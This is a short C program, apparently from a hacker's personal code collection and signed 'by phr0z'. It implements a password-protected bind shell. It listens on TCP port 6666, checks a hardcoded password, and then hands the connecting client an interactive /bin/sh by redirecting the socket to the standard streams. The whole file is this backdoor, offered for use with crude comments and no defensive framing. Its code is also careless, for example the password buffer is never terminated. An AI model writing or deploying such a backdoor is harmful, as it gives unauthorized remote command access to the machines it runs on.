./c0de/c/ss.txt

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// WARNING: a fucking shitload of headers ahead, most not needed. ;-P
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
 
#define PORT 6666             //~ the port users will be connecting to
#define SHELL "/bin/sh"         //~ the shell
#define PASSWORD "h4x0r"      //~ the password to identify
                        //~ the blank line
int main(penis) {
 
   int sockfd, newsockfd;
   struct sockaddr_in server;
   struct sockaddr_in client;
   socklen_t sin_size;
   char msg[300];
   char auth[50];
 
   if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      return 1;
   server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   server.sin_addr.s_addr = INADDR_ANY;
   memset(&(client.sin_zero), 0, 8);
   if(bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1)
      return 2;
   if(listen(sockfd, 1) == -1)
      return 3;
   while(1) {
      sin_size = sizeof(struct sockaddr_in);
      if((newsockfd = accept(sockfd, (struct sockaddr *)&client, &sin_size)) == -1) continue;
      if(!fork()) {
         close(sockfd);
         send(newsockfd, "Validate yourself: ", 19, 0);
         recv(newsockfd, auth, strlen(PASSWORD), 0);
         if(strcmp(auth, PASSWORD)) {
            send(newsockfd, "Invalid password.\r\n", 19, 0);
            close(newsockfd);
            continue;
         }
         sprintf(msg, "\n%s(%d)\ncurrent dir: %s\nYour ip: %s\nShell: %s\n",
                  getenv("USER"), getuid(), getenv("PWD"), inet_ntoa(client.sin_addr), SHELL);
         send(newsockfd, msg, strlen(msg)+1, 0);
         dup2(newsockfd, STDIN_FILENO);
         dup2(newsockfd, STDOUT_FILENO);
         dup2(newsockfd, STDERR_FILENO);
         setsid();
         execvp(SHELL, NULL);
      }
   }
}
// by phr0z

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